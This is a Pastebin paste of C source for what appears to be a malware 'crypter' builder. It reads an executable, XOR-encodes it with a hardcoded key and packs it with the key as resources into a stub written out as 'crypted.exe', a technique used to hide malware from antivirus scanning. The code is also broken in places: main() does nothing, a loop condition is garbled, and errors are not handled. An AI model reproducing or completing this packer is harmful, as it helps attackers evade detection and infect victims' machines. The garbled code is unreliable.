Advertisement
Guest User

Untitled

a guest
Oct 10th, 2015
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.05 KB | None | 0 0
  1. #pragma comment(linker, "/OPT:NOREF") // this tells the linker to keep the machine code of unreferenced source code
  2. #pragma optimize( "", off )
  3.  
  4. #include <Windows.h>
  5. #include <ctime>
  6. #include <iostream>
  7. using namespace std;
  8. #define SAFE_DIST 4
  9. #define JMP_LEN 5
  10. #define FILENAME_LEN 255
  11.  
  12. struct StubData{
  13.     unsigned char * pFileBuffer;
  14.     unsigned long FileSize;
  15.     unsigned char * pKey;
  16.     unsigned long KeySize;
  17. };
  18. inline unsigned int align_to_boundary(unsigned int address, unsigned int boundary) {
  19.     return (((address + boundary - 1) / boundary) * boundary);
  20. }
  21. void Build(struct StubData * sData)
  22. {
  23.     HRSRC hRsrc;
  24.     HGLOBAL hGlob;
  25.     HANDLE hFile, hUpdate;
  26.     unsigned long rSize;
  27.     unsigned char * pBuffer;
  28.     unsigned long BytesWritten;
  29.     printf("[*]Building Crypted.exe\n");
  30.     hRsrc = FindResource(NULL, MAKEINTRESOURCE(1), "STUB");
  31.     if(hRsrc == NULL)
  32.     {
  33.         printf("Couldn't find resource");
  34.     }
  35.     rSize = SizeofResource(NULL, hRsrc);
  36.     hGlob = LoadResource(NULL, hRsrc);
  37.     if(hGlob == NULL)
  38.         printf("Couldn't load resource");
  39.     pBuffer = (unsigned char *)LockResource(hGlob);
  40.     if(pBuffer == NULL)
  41.         printf("Couldn't lock resource");
  42.     hFile = CreateFile("crypted.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
  43.     if(hFile == INVALID_HANDLE_VALUE)
  44.     {
  45.         free(pBuffer);
  46.         free(sData->pFileBuffer);
  47.         printf("Error – Could not create file");
  48.     }
  49.     if(WriteFile(hFile, pBuffer, rSize, &BytesWritten, NULL)==0)
  50.     {
  51.         free(pBuffer);
  52.         free(sData->pFileBuffer);
  53.         printf("Error – Could not write file");
  54.     }
  55.     CloseHandle(hFile);
  56.     free(pBuffer);
  57.     hUpdate = BeginUpdateResource("crypted.exe", FALSE);
  58.     if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(10), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pFileBuffer, sData->FileSize)==0)
  59.     {
  60.         printf("Error – Could not update resource");
  61.     }
  62.     if (UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(20), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), sData->pKey, sData->KeySize)==0)
  63.     {
  64.         printf("Error – Could not update resource");
  65.     }
  66.     EndUpdateResource(hUpdate, FALSE);
  67. }
  68. void Encrypt(struct StubData * sData)
  69. {
  70.     int i,j;
  71.     sData->pKey="mysecretpassword";
  72.     sData->KeySize=strlen(sData->pKey);
  73.     j=0;
  74.     i=0;
  75.     printf("[*]Encoding\n");
  76.     for(i;iFileSize;i++)
  77.     {
  78.         *(sData->pFileBuffer+i) ^=*(sData->pKey+j);
  79.         j++;
  80.         if (j>=sData->KeySize)
  81.             j=0;
  82.     }
  83. }
  84. void LoadFile(char *File, struct StubData * sData)
  85. {
  86.     unsigned long BytesRead;
  87.     HANDLE hFile = CreateFile(File, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
  88.     printf("[*]Loading Portable Executable\n");
  89.     if(hFile == INVALID_HANDLE_VALUE)
  90.     {
  91.     }  sData->FileSize = GetFileSize(hFile, NULL);
  92.     if(sData->FileSize == INVALID_FILE_SIZE)
  93.     {
  94.     CloseHandle(hFile);
  95.     }
  96.     sData->pFileBuffer = (unsigned char *)malloc(sData->FileSize);
  97.     if(sData->pFileBuffer == NULL)
  98.     {
  99.     CloseHandle(hFile);
  100.     }
  101.     ReadFile(hFile, sData->pFileBuffer, sData->FileSize, &BytesRead, NULL);
  102.     CloseHandle(hFile);
  103. }
  104. int main() {
  105.     struct StubData{
  106.         unsigned char * pFileBuffer;
  107.         unsigned long FileSize;
  108.         unsigned char * pKey;
  109.         unsigned long KeySize;
  110.     };
  111.    
  112. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement